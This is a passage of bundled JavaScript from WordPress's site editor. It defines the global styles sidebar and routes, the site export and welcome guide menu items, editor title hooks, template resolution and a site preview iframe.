children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_root, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/variations",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_style_variations, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/blocks",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block_list, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/font-sizes",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/font-sizes/:origin/:slug",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_size, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/text",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
element: "text"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/link",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
element: "link"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/heading",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
element: "heading"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/caption",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
element: "caption"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/typography/button",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
element: "button"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/colors",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_colors, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/shadows",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenShadows, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/shadows/edit/:category/:slug",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenShadowsEdit, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/layout",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_layout, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/css",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_css, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/revisions",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_revisions, {})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/background",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_background, {})
}), blocks.map(block => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: '/blocks/' + encodeURIComponent(block.name),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block, {
name: block.name
})
}, 'menu-block-' + block.name)), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextScreens, {}), blocks.map(block => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextScreens, {
name: block.name,
parentMenu: '/blocks/' + encodeURIComponent(block.name)
}, 'screens-block-' + block.name)), 'style-book' === editorCanvasContainerView && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesStyleBook, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesActionMenu, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesBlockLink, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesEditorCanvasContainerLink, {})]
});
}
/* harmony default export */ const global_styles_ui = (GlobalStylesUI);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/index.js
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-sidebar/default-sidebar.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
ComplementaryArea,
ComplementaryAreaMoreMenuItem
} = unlock(external_wp_editor_namespaceObject.privateApis);
function DefaultSidebar({
className,
identifier,
title,
icon,
children,
closeLabel,
header,
headerClassName,
panelClassName,
isActiveByDefault
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryArea, {
className: className,
scope: "core",
identifier: identifier,
title: title,
icon: icon,
closeLabel: closeLabel,
header: header,
headerClassName: headerClassName,
panelClassName: panelClassName,
isActiveByDefault: isActiveByDefault,
children: children
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaMoreMenuItem, {
scope: "core",
identifier: identifier,
icon: icon,
children: title
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-sidebar/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
interfaceStore: global_styles_sidebar_interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useLocation: global_styles_sidebar_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function GlobalStylesSidebar() {
const {
query
} = global_styles_sidebar_useLocation();
const {
canvas = 'view',
name
} = query;
const {
shouldClearCanvasContainerView,
isStyleBookOpened,
showListViewByDefault,
hasRevisions,
isRevisionsOpened,
isRevisionsStyleBookOpened
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getActiveComplementaryArea
} = select(global_styles_sidebar_interfaceStore);
const {
getEditorCanvasContainerView
} = unlock(select(store));
const canvasContainerView = getEditorCanvasContainerView();
const _isVisualEditorMode = 'visual' === select(external_wp_editor_namespaceObject.store).getEditorMode();
const _isEditCanvasMode = 'edit' === canvas;
const _showListViewByDefault = select(external_wp_preferences_namespaceObject.store).get('core', 'showListViewByDefault');
const {
getEntityRecord,
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
return {
isStyleBookOpened: 'style-book' === canvasContainerView,
shouldClearCanvasContainerView: 'edit-site/global-styles' !== getActiveComplementaryArea('core') || !_isVisualEditorMode || !_isEditCanvasMode,
showListViewByDefault: _showListViewByDefault,
hasRevisions: !!globalStyles?._links?.['version-history']?.[0]?.count,
isRevisionsStyleBookOpened: 'global-styles-revisions:style-book' === canvasContainerView,
isRevisionsOpened: 'global-styles-revisions' === canvasContainerView
};
}, [canvas]);
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (shouldClearCanvasContainerView) {
setEditorCanvasContainerView(undefined);
}
}, [shouldClearCanvasContainerView, setEditorCanvasContainerView]);
const {
setIsListViewOpened
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
const toggleRevisions = () => {
setIsListViewOpened(false);
if (isRevisionsStyleBookOpened) {
setEditorCanvasContainerView('style-book');
return;
}
if (isRevisionsOpened) {
setEditorCanvasContainerView(undefined);
return;
}
if (isStyleBookOpened) {
setEditorCanvasContainerView('global-styles-revisions:style-book');
} else {
setEditorCanvasContainerView('global-styles-revisions');
}
};
const toggleStyleBook = () => {
if (isRevisionsOpened) {
setEditorCanvasContainerView('global-styles-revisions:style-book');
return;
}
if (isRevisionsStyleBookOpened) {
setEditorCanvasContainerView('global-styles-revisions');
return;
}
setIsListViewOpened(isStyleBookOpened && showListViewByDefault);
setEditorCanvasContainerView(isStyleBookOpened ? undefined : 'style-book');
};
const {
getActiveComplementaryArea
} = (0,external_wp_data_namespaceObject.useSelect)(global_styles_sidebar_interfaceStore);
const {
enableComplementaryArea
} = (0,external_wp_data_namespaceObject.useDispatch)(global_styles_sidebar_interfaceStore);
const previousActiveAreaRef = (0,external_wp_element_namespaceObject.useRef)(null);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (name === 'styles' && canvas === 'edit') {
previousActiveAreaRef.current = getActiveComplementaryArea('core');
enableComplementaryArea('core', 'edit-site/global-styles');
} else if (previousActiveAreaRef.current) {
enableComplementaryArea('core', previousActiveAreaRef.current);
}
}, [name, enableComplementaryArea, canvas, getActiveComplementaryArea]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DefaultSidebar, {
className: "edit-site-global-styles-sidebar",
identifier: "edit-site/global-styles",
title: (0,external_wp_i18n_namespaceObject.__)('Styles'),
icon: library_styles,
closeLabel: (0,external_wp_i18n_namespaceObject.__)('Close Styles'),
panelClassName: "edit-site-global-styles-sidebar__panel",
header: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
className: "edit-site-global-styles-sidebar__header",
gap: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
className: "edit-site-global-styles-sidebar__header-title",
children: (0,external_wp_i18n_namespaceObject.__)('Styles')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "flex-end",
gap: 1,
className: "edit-site-global-styles-sidebar__header-actions",
children: [!isMobileViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
icon: library_seen,
label: (0,external_wp_i18n_namespaceObject.__)('Style Book'),
isPressed: isStyleBookOpened || isRevisionsStyleBookOpened,
accessibleWhenDisabled: true,
disabled: shouldClearCanvasContainerView,
onClick: toggleStyleBook,
size: "compact"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
label: (0,external_wp_i18n_namespaceObject.__)('Revisions'),
icon: library_backup,
onClick: toggleRevisions,
accessibleWhenDisabled: true,
disabled: !hasRevisions,
isPressed: isRevisionsOpened || isRevisionsStyleBookOpened,
size: "compact"
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesMenuSlot, {})]
})]
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(global_styles_ui, {})
});
}
;// ./node_modules/@wordpress/icons/build-module/library/download.js
/**
* WordPress dependencies
*/
const download = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z"
})
});
/* harmony default export */ const library_download = (download);
;// external ["wp","blob"]
const external_wp_blob_namespaceObject = window["wp"]["blob"];
;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/site-export.js
/**
* WordPress dependencies
*/
function SiteExport() {
const {
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
async function handleExport() {
try {
const response = await external_wp_apiFetch_default()({
path: '/wp-block-editor/v1/export',
parse: false,
headers: {
Accept: 'application/zip'
}
});
const blob = await response.blob();
const contentDisposition = response.headers.get('content-disposition');
const contentDispositionMatches = contentDisposition.match(/=(.+)\.zip/);
const fileName = contentDispositionMatches[1] ? contentDispositionMatches[1] : 'edit-site-export';
(0,external_wp_blob_namespaceObject.downloadBlob)(fileName + '.zip', blob, 'application/zip');
} catch (errorResponse) {
let error = {};
try {
error = await errorResponse.json();
} catch (e) {}
const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the site export.');
createErrorNotice(errorMessage, {
type: 'snackbar'
});
}
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
role: "menuitem",
icon: library_download,
onClick: handleExport,
info: (0,external_wp_i18n_namespaceObject.__)('Download your theme with updated templates and styles.'),
children: (0,external_wp_i18n_namespaceObject._x)('Export', 'site exporter menu item')
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/welcome-guide-menu-item.js
/**
* WordPress dependencies
*/
function WelcomeGuideMenuItem() {
const {
toggle
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => toggle('core/edit-site', 'welcomeGuide'),
children: (0,external_wp_i18n_namespaceObject.__)('Welcome Guide')
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
ToolsMoreMenuGroup,
PreferencesModal
} = unlock(external_wp_editor_namespaceObject.privateApis);
function MoreMenu() {
const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
}, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ToolsMoreMenuGroup, {
children: [isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteExport, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideMenuItem, {})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, {})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-editor-iframe-props.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: use_editor_iframe_props_useLocation,
useHistory: use_editor_iframe_props_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useEditorIframeProps() {
const {
query,
path
} = use_editor_iframe_props_useLocation();
const history = use_editor_iframe_props_useHistory();
const {
canvas = 'view'
} = query;
const currentPostIsTrashed = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_editor_namespaceObject.store).getCurrentPostAttribute('status') === 'trash';
}, []);
const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (canvas === 'edit') {
setIsFocused(false);
}
}, [canvas]);
// In view mode, make the canvas iframe be perceived and behave as a button
// to switch to edit mode, with a meaningful label and no title attribute.
const viewModeIframeProps = {
'aria-label': (0,external_wp_i18n_namespaceObject.__)('Edit'),
'aria-disabled': currentPostIsTrashed,
title: null,
role: 'button',
tabIndex: 0,
onFocus: () => setIsFocused(true),
onBlur: () => setIsFocused(false),
onKeyDown: event => {
const {
keyCode
} = event;
if ((keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE) && !currentPostIsTrashed) {
event.preventDefault();
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
canvas: 'edit'
}), {
transition: 'canvas-mode-edit-transition'
});
}
},
onClick: () => history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
canvas: 'edit'
}), {
transition: 'canvas-mode-edit-transition'
}),
onClickCapture: event => {
if (currentPostIsTrashed) {
event.preventDefault();
event.stopPropagation();
}
},
readonly: true
};
return {
className: dist_clsx('edit-site-visual-editor__editor-canvas', {
'is-focused': isFocused && canvas === 'view'
}),
...(canvas === 'view' ? viewModeIframeProps : {})
};
}
;// ./node_modules/@wordpress/edit-site/build-module/components/routes/use-title.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: use_title_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function useTitle(title) {
const location = use_title_useLocation();
const siteTitle = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', 'site')?.title, []);
const isInitialLocationRef = (0,external_wp_element_namespaceObject.useRef)(true);
(0,external_wp_element_namespaceObject.useEffect)(() => {
isInitialLocationRef.current = false;
}, [location]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
// Don't update or announce the title for initial page load.
if (isInitialLocationRef.current) {
return;
}
if (title && siteTitle) {
// @see https://github.com/WordPress/wordpress-develop/blob/94849898192d271d533e09756007e176feb80697/src/wp-admin/admin-header.php#L67-L68
const formattedTitle = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: Admin document title. 1: Admin screen name, 2: Network or site name. */
(0,external_wp_i18n_namespaceObject.__)('%1$s ‹ %2$s ‹ Editor — WordPress'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle));
document.title = formattedTitle;
// Announce title on route change for screen readers.
(0,external_wp_a11y_namespaceObject.speak)(title, 'assertive');
}
}, [title, siteTitle, location]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-editor-title.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
getTemplateInfo
} = unlock(external_wp_editor_namespaceObject.privateApis);
function useEditorTitle(postType, postId) {
const {
title,
isLoaded
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
var _getCurrentTheme;
const {
getEditedEntityRecord,
getCurrentTheme,
hasFinishedResolution
} = select(external_wp_coreData_namespaceObject.store);
if (!postId) {
return {
isLoaded: false
};
}
const _record = getEditedEntityRecord('postType', postType, postId);
const {
default_template_types: templateTypes = []
} = (_getCurrentTheme = getCurrentTheme()) !== null && _getCurrentTheme !== void 0 ? _getCurrentTheme : {};
const templateInfo = getTemplateInfo({
template: _record,
templateTypes
});
const _isLoaded = hasFinishedResolution('getEditedEntityRecord', ['postType', postType, postId]);
return {
title: templateInfo.title,
isLoaded: _isLoaded
};
}, [postType, postId]);
let editorTitle;
if (isLoaded) {
var _POST_TYPE_LABELS$pos;
editorTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: A breadcrumb trail for the Admin document title. 1: title of template being edited, 2: type of template (Template or Template Part).
(0,external_wp_i18n_namespaceObject._x)('%1$s ‹ %2$s', 'breadcrumb trail'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), (_POST_TYPE_LABELS$pos = POST_TYPE_LABELS[postType]) !== null && _POST_TYPE_LABELS$pos !== void 0 ? _POST_TYPE_LABELS$pos : POST_TYPE_LABELS[TEMPLATE_POST_TYPE]);
}
// Only announce the title once the editor is ready to prevent "Replace"
// action in <URLQueryController> from double-announcing.
useTitle(isLoaded && editorTitle);
}
/* harmony default export */ const use_editor_title = (useEditorTitle);
;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-adapt-editor-to-canvas.js
/**
* WordPress dependencies
*/
function useAdaptEditorToCanvas(canvas) {
const {
clearSelectedBlock
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
const {
setDeviceType,
closePublishSidebar,
setIsListViewOpened,
setIsInserterOpened
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
const {
get: getPreference
} = (0,external_wp_data_namespaceObject.useSelect)(external_wp_preferences_namespaceObject.store);
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
(0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
const isMediumOrBigger = window.matchMedia('(min-width: 782px)').matches;
registry.batch(() => {
clearSelectedBlock();
setDeviceType('Desktop');
closePublishSidebar();
setIsInserterOpened(false);
// Check if the block list view should be open by default.
// If `distractionFree` mode is enabled, the block list view should not be open.
// This behavior is disabled for small viewports.
if (isMediumOrBigger && canvas === 'edit' && getPreference('core', 'showListViewByDefault') && !getPreference('core', 'distractionFree')) {
setIsListViewOpened(true);
} else {
setIsListViewOpened(false);
}
});
}, [canvas, registry, clearSelectedBlock, setDeviceType, closePublishSidebar, setIsInserterOpened, setIsListViewOpened, getPreference]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-resolve-edited-entity.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: use_resolve_edited_entity_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const postTypesWithoutParentTemplate = [TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE, NAVIGATION_POST_TYPE, PATTERN_TYPES.user];
const authorizedPostTypes = ['page', 'post'];
function useResolveEditedEntity() {
const {
name,
params = {},
query
} = use_resolve_edited_entity_useLocation();
const {
postId = query?.postId
} = params; // Fallback to query param for postId for list view routes.
let postType;
if (name === 'navigation-item') {
postType = NAVIGATION_POST_TYPE;
} else if (name === 'pattern-item') {
postType = PATTERN_TYPES.user;
} else if (name === 'template-part-item') {
postType = TEMPLATE_PART_POST_TYPE;
} else if (name === 'template-item' || name === 'templates') {
postType = TEMPLATE_POST_TYPE;
} else if (name === 'page-item' || name === 'pages') {
postType = 'page';
} else if (name === 'post-item' || name === 'posts') {
postType = 'post';
}
const homePage = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getHomePage
} = unlock(select(external_wp_coreData_namespaceObject.store));
return getHomePage();
}, []);
/**
* This is a hook that recreates the logic to resolve a template for a given WordPress postID postTypeId
* in order to match the frontend as closely as possible in the site editor.
*
* It is not possible to rely on the server logic because there maybe unsaved changes that impact the template resolution.
*/
const resolvedTemplateId = (0,external_wp_data_namespaceObject.useSelect)(select => {
// If we're rendering a post type that doesn't have a template
// no need to resolve its template.
if (postTypesWithoutParentTemplate.includes(postType) && postId) {
return;
}
// Don't trigger resolution for multi-selected posts.
if (postId && postId.includes(',')) {
return;
}
const {
getTemplateId
} = unlock(select(external_wp_coreData_namespaceObject.store));
// If we're rendering a specific page, we need to resolve its template.
// The site editor only supports pages for now, not other CPTs.
if (postType && postId && authorizedPostTypes.includes(postType)) {
return getTemplateId(postType, postId);
}
// If we're rendering the home page, and we have a static home page, resolve its template.
if (homePage?.postType === 'page') {
return getTemplateId('page', homePage?.postId);
}
if (homePage?.postType === 'wp_template') {
return homePage?.postId;
}
}, [homePage, postId, postType]);
const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (postTypesWithoutParentTemplate.includes(postType) && postId) {
return {};
}
if (postType && postId && authorizedPostTypes.includes(postType)) {
return {
postType,
postId
};
}
// TODO: for post types lists we should probably not render the front page, but maybe a placeholder
// with a message like "Select a page" or something similar.
if (homePage?.postType === 'page') {
return {
postType: 'page',
postId: homePage?.postId
};
}
return {};
}, [homePage, postType, postId]);
if (postTypesWithoutParentTemplate.includes(postType) && postId) {
return {
isReady: true,
postType,
postId,
context
};
}
if (!!homePage) {
return {
isReady: resolvedTemplateId !== undefined,
postType: TEMPLATE_POST_TYPE,
postId: resolvedTemplateId,
context
};
}
return {
isReady: false
};
}
function useSyncDeprecatedEntityIntoState({
postType,
postId,
context,
isReady
}) {
const {
setEditedEntity
} = (0,external_wp_data_namespaceObject.useDispatch)(store);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (isReady) {
setEditedEntity(postType, postId, context);
}
}, [isReady, postType, postId, context, setEditedEntity]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/editor/site-preview.js
/**
* WordPress dependencies
*/
function SitePreview() {
const siteUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
const siteData = getEntityRecord('root', '__unstableBase');
return siteData?.home;
}, []);
// If theme is block based, return the Editor, otherwise return the site preview.
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("iframe", {
src: (0,external_wp_url_namespaceObject.addQueryArgs)(siteUrl, {
// Parameter for hiding the admin bar.
wp_site_preview: 1
}),
title: (0,external_wp_i18n_namespaceObject.__)('Site Preview'),
style: {
display: 'block',
width: '100%',
height: '100%',
backgroundColor: '#fff'
},
onLoad: event => {
// Make interactive elements unclickable.
const document = event.target.contentDocument;
const focusableElements = external_wp_dom_namespaceObject.focus.focusable.find(document);
focusableElements.forEach(element => {
element.style.pointerEvents = 'none';
element.tabIndex = -1;
element.setAttribute('aria-hidden', 'true');
});
}
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/editor/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Editor,
BackButton
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useHistory: editor_useHistory,
useLocation: editor_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
BlockKeyboardShortcuts
} = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
const toggleHomeIconVariants = {
edit: {
opacity: 0,
scale: 0.2
},
hover: {
opacity: 1,
scale: 1,
clipPath: 'inset( 22% round 2px )'
}
};
const siteIconVariants = {
edit: {
clipPath: 'inset(0% round 0px)'
},
hover: {
clipPath: 'inset( 22% round 2px )'
},
tap: {
clipPath: 'inset(0% round 0px)'
}
};
function getListPathForPostType(postType) {
switch (postType) {
case 'navigation':
return '/navigation';
case 'wp_block':
return '/pattern?postType=wp_block';
case 'wp_template_part':
return '/pattern?postType=wp_template_part';
case 'wp_template':
return '/template';
case 'page':
return '/page';
case 'post':
return '/';
}
throw 'Unknown post type';
}
function getNavigationPath(location, postType) {
const {
path,
name
} = location;
if (['pattern-item', 'template-part-item', 'page-item', 'template-item', 'post-item'].includes(name)) {
return getListPathForPostType(postType);
}
return (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
canvas: undefined
});
}
function EditSiteEditor({
isHomeRoute = false,
isPostsList = false
}) {
const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
const location = editor_useLocation();
const {
canvas = 'view'
} = location.query;
const isLoading = useIsSiteEditorLoading();
useAdaptEditorToCanvas(canvas);
const entity = useResolveEditedEntity();
// deprecated sync state with url
useSyncDeprecatedEntityIntoState(entity);
const {
postType,
postId,
context
} = entity;
const {
isBlockBasedTheme,
editorCanvasView,
currentPostIsTrashed,
hasSiteIcon
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEditorCanvasContainerView
} = unlock(select(store));
const {
getCurrentTheme,
getEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
const siteData = getEntityRecord('root', '__unstableBase', undefined);
return {
isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
editorCanvasView: getEditorCanvasContainerView(),
currentPostIsTrashed: select(external_wp_editor_namespaceObject.store).getCurrentPostAttribute('status') === 'trash',
hasSiteIcon: !!siteData?.site_icon_url
};
}, []);
const postWithTemplate = !!context?.postId;
use_editor_title(postWithTemplate ? context.postType : postType, postWithTemplate ? context.postId : postId);
const _isPreviewingTheme = isPreviewingTheme();
const hasDefaultEditorCanvasView = !useHasEditorCanvasContainer();
const iframeProps = useEditorIframeProps();
const isEditMode = canvas === 'edit';
const loadingProgressId = (0,external_wp_compose_namespaceObject.useInstanceId)(CanvasLoader, 'edit-site-editor__loading-progress');
const settings = useSpecificEditorSettings();
const styles = (0,external_wp_element_namespaceObject.useMemo)(() => [...settings.styles, {
// Forming a "block formatting context" to prevent margin collapsing.
// @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
css: canvas === 'view' ? `body{min-height: 100vh; ${currentPostIsTrashed ? '' : 'cursor: pointer;'}}` : undefined
}], [settings.styles, canvas, currentPostIsTrashed]);
const {
resetZoomLevel
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
const {
createSuccessNotice
